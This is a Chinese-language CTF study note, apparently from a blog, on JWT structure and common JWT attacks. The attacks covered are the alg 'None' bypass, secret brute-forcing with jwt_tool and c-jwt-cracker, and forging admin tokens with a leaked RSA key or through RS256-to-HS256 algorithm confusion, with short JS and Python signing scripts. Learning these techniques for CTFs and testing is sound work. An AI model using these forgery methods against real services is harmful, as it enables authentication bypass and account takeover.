JWT-ctf

Lightpig&

已于 2023-09-13 23:15:43 修改

阅读量715

点赞数

CC 4.0 BY-SA版权

文章标签： node.js web安全

于 2023-07-17 14:58:12 首次发布

本文链接：https://blog.youkuaiyun.com/zero_with_one/article/details/131766354

文章介绍了JSONWebTokens（JWT）的三部分组成——Header,Payload,Signature，以及它们的内容。讨论了不同加密算法如HS256和RS256的工作原理，如何使用公钥和私钥进行签名和验证。还提到了JWT的安全性问题，包括无签名JWT的隐患和可能的破解工具，以及如何通过修改算法来构造JWT。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

JSON Web Tokens - jwt.io

三个部分组成

Header
Payload
Signature
形式：xxxxx.yyyyy.zzzzz

HEADER:ALGORITHM & TOKEN TYPE
{
  "alg": "None",
  "typ": "jwt"
}

PAYLOAD:DATA
[
  {
    "iss": "admin",
    "iat": 1689410770,
    "exp": 1689417970,
    "nbf": 1689410770,
    "sub": "user",
    "jti": "f9bb22e3f645b6d8cd37307ff1349306"
  }
]

VERIFY SIGNATURE

签名一般会变

无签名认证时，可以先调为HS256加密算法进行JWT


当有签名时，可将 Header 中的加密算法改为 None（JWT 支持将算法设定为 “None”。如果“alg” 字段设为“ None”，那么签名会被置空，这样任何 token 都是有效的）

改payload为:header + '.' + payload + '.'（注意最后的点）

直接用base64改即可

弱密码利用工具爆破获得密钥

c-jwt-cracker

./jwtcrack xxx


jwt_tool.py

python3 jwt_tool.py xxx -C -d jwt-common.txt

GitHub - ticarpi/jwt_tool: 🐍 A toolkit for testing, tweaking and cracking JSON Web Tokens

RS256 是使用 RSA 私钥进行签名，使用 RSA 公钥进行验证,
HS256 使用同一个「secret_key」进行签名与验证（对称加密）
ES256 和 RS256 一样，都使用私钥签名，公钥验证

可以尝试浏览器目录是否有public.key 和 private.key

当知道私钥时，可以通过RS2565构造jwt

js脚本
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)

python脚本：
import jwt  
public = open('private.key', 'r').read()  
payload={"user":"admin"}  
print(jwt.encode(payload, key=public, algorithm='RS256'))
# 需安装pyjwt库

当只知道公钥时

可以通过HS256构造jwt（如果将算法从RS256改为HS256，则后端代码将使用公钥作为密钥，然后使用HS256算法验证签名）

js脚本
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)